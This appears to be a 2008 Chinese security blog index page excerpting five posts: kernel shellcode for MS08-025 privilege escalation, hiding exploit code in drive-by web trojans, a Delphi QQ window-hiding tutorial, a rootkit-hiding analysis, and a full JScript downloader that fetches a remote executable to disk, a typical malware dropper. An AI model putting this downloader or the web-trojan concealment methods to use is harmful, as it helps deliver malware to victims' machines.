0

编写通用内核shellcode

2008/06/18    21:05    620    GreyHawk 晴
==Ph4nt0m Security Team==

Issue 0x02, Phile #0x05 of 0x0A


|=---------------------------------------------------------------------------=|
|=------------------------=[ 编写通用内核shellcode ]=------------------------=|
|=---------------------------------------------------------------------------=|
|=---------------------------------------------------------------------------=|
|=-----------------------=[ By Tms320 ]=----------------------=|
|=----------------------=[ <Tms320_at_ph4nt0m.org> ]=---------------------=|
|=---------------------------------------------------------------------------=|

一、多个内核漏洞的出现将研究者的目光从ring3引向了ring0

最近曝光的ms08-025漏洞,受影响的系统包含了微软出版的几乎所有NT体系结构的版本,
引起了不少研究者的兴趣,漏洞曝光不久就在网上出现了利用程序。基于内核漏洞的溢出,
为我们获取系统的ring0执行权限打开了方便之门,通过这类漏洞提升本地执行权限,获取
system权限执行级别。

目前流传的利用程序,ring0 shellcode大多通过将system进程的Token赋予当前进程来
获取system权限。比较典型的代码如下:
Tags: , , , | 分类:代码诱惑 | 来源:本站原创 | 引用(0)
0

网马躯干

2008/05/25    21:55    578    GreyHawk 晴
Author: Greysign
2008-5-23
http://www.scanw.com/blog

余弦不久之前写了网马中枢,是关于服务端应用的一小角,他还说有其他更复杂的应用,一直等着他的BLOG更新,还是未见他写出来。最近大家都很忙。

关于网马代码,exploit固然重要,但除了exploit之外的网马框架加强对于网马功能扩展也是必然的发展趋势。网马中枢里面用了include ,读取文件等方式来隐藏EXP的地址,不过,EXP代码完全暴露出来了,那就无法阻止代码被剽窃,被取证等行为。

我已经很久没有写点什么了,就放一点服务端技术的应用和小注释吧。不是什么新技术,只是实现一些在现实中比较实用的东西,大牛赶紧飘过。

我们已经有了网马中枢了,那么,如何来隐藏我们的EXP代码以及地址呢?哈哈。这不难。跟着我的思路吧。

——————华丽地分割——————–

利用网马中枢提到的include ,读取文件这2个方式,已经可以隐藏了地址,在最后调用的HTM(last_trojan.html)写入以下代码:
Tags: , , , | 分类:代码诱惑 | 来源:本站原创 | 引用(0)
0

收集LCX写的两段代码。

2008/04/20    18:05    758    GreyHawk 雪
js下载者

引用
//将常用的vbs下载者改成js版了。本来想用jsc.exe编译,可是不成功。jsc.exe不认WScript

//use: cscript this.js http://www.xxx.com/xxx.exe c:\xxx.exe

var objArgs = WScript.Arguments;
var sGet=new ActiveXObject("ADODB.Stream");
var xGet = false;
try {
xGet = new XMLHttpRequest();
}
catch (trymicrosoft) {

try {
xGet = new ActiveXObject("Msxml2.XMLHTTP");
}

catch (othermicrosoft) {
try {
xGet = new ActiveXObject("Microsoft.XMLHTTP");
}
catch (failed) {
xGet = false;
}
}
}

xGet.Open ("GET",objArgs(0).toLowerCase(),0);
xGet.Send();
sGet.Mode=3;
sGet.Type=1;
sGet.Open();
sGet.Write (xGet.ResponseBody);
sGet.SaveToFile (objArgs(1).toLowerCase(),2);

Tags: , , | 分类:代码诱惑 | 来源:本站原创 | 引用(0)
0

QQ窗体自动隐藏效果探究

2008/03/27    16:59    591    GreyHawk 晴
腾讯QQ是当前流行的网络聊天工具之一,由于它在应用设计上有很多独特之处,所以也吸引了很多程序员对之进行研究和模仿。在这里,我将利用Delphi对QQ的窗体自动隐藏效果提出自己的实现方法。

一、问题的提出
  熟悉QQ使用的朋友都知道,当QQ窗体区域超出屏幕四边时,窗体就会自动“消失”,只留下窗体一边的小部分显露在桌面上。当用鼠标移动到显露部分之上,窗体就会在隐藏位置重新完整显示;但当鼠标离开窗体区域后,窗体便会重新进入隐藏状态。

  对隐藏的全过程进行分析,可以得出两点推测:第一,窗体隐藏的处理是与窗体移动过程有关;第二,窗体隐藏的触发条件是窗体的区域已经移动到屏幕的可视范围之外。

  对第一点推测,可以通过对窗体移动时产生的Windows消息进行拦截处理加以实现。对第二点推测,如何去表示“窗体区域已经超出屏幕可视范围”这一条件成为实现的关键。

二、基本的分析
  让我们先留意一下Windows环境下窗体移动的过程与效果。当使用鼠标移动窗体的时候,窗体本身并没有立刻随鼠标的移动而发生位置的改变;相反,鼠标正在拖动的是一个大小与窗体一致的透明区域(确切的说一个虚线边框的矩形)。当鼠标释放矩形后,窗体本身才会在矩形最后停留的地方出现,从而完成整个移动的过程。(注意:在Windows 2000及XP环境下,如果在显示属性中选中“拖动时显示窗体内容”的显示效果选项,则上述过程无法观察。)

  对QQ窗体,其移动过程与上述无异,但却有一处不同。当我们把矩形移动到屏幕四边且已有部分超出时,矩形就会自动地停留在超出位置上并完整显示。此时不论我们怎样试图把矩形再向超出方向上移动,矩形也只保持在该位置。当释放鼠标之后,窗体的隐藏效果也就出现了。
Tags: , | 分类:代码诱惑 | 来源:本站原创 | 引用(0)
0

普通恶意代码技术分析与检测

2008/03/15    11:10    545    GreyHawk 晴
作者:fleshwound(fleshwound@smatrix.org) http://www.smatrix.org
来源:安全焦点

1 引言
  近些年来,恶意代码依赖一些特殊的Native API函数和内核系统函数进行感染、传播、隐藏的这种趋势愈加明显代码,并大量的使用了多重加密壳、驱动关联壳、变形壳等代码保护机制和多态和变形等新的技术。传统的恶意代码查杀技术遭到了严重的挑战。
恶意代码开发者想尽了各种办法,对进程、文件、注册表、系统服务、网络服务等各方面信息进行了控制,内核级的恶意代码做得更加巧妙和隐蔽。从技术上进行分类,恶意代码使用的技术手段可以分为:(1)用户模式系统调用劫持;(2)核心模式系统调用劫持;(3)核心模式数据篡改;(4)核心模式中断处理程序劫持。
2 对进程信息的控制
  大家知道,windows操作系统给我们提供了两套公开的API函数来获得进程信息:一套是PSAPI,通过EnumProcesses()函数来枚举进程,另一套是ToolHelp32,通过Process32First()和Process32Next()函数来获得整个进程列表.现在运行在用户层的恶意代码一般都会让自己在系统进程列表中消失,原理是HOOK上述进程相关API函数,将自身进程从最后的进程列表中去除,但这样做一般很容易发现。如图2所示,PSAPI和ToolHelp32都是通过调用位于ntdll.dll中的一个native API函数NtQuerySystemInformation()获取进程信息,而函数NtQuerySystemInformation()是依靠内核函数ExpGetProcessInformation()遍历ActiveProcessLinks,通过EPROCESS结构(其中包含 ActiveProcessLinks项,类型为LIST_ENTRY)获得真实进程列表信息。整个环节中,内核态的恶意代码可以试图通过HOOK函数 NtQuerySystemInformation()和函数ExpGetProcessInformation(),将自己的相关进程从返回结果中去除或者直接从ActiveProcessLinks摘除自身相关进程信息, 即要把要隐藏的进程的EPROCESS从LIST_ENTRY中摘除。另外几乎所有的反病毒查杀软件和系统进程软件使用 PsSetCreateProcessNotifyRoutine()来监视进程创建和销毁,但是令人遗憾的是该函数最多只能设置8个回调函数,因此有不少内核级的恶意代码被动隐藏自身相关进程的时候,还主动得销毁掉其它进程监控软件的使用的回调函数,让进程监控失效。
Tags: , | 分类:代码诱惑 | 来源:本站原创 | 引用(0)
分页: 2/10 第一页 上页 1 2 3 4 5 6 7 8 9 10 下页 最后页 [ 显示模式: 摘要 | 列表 ]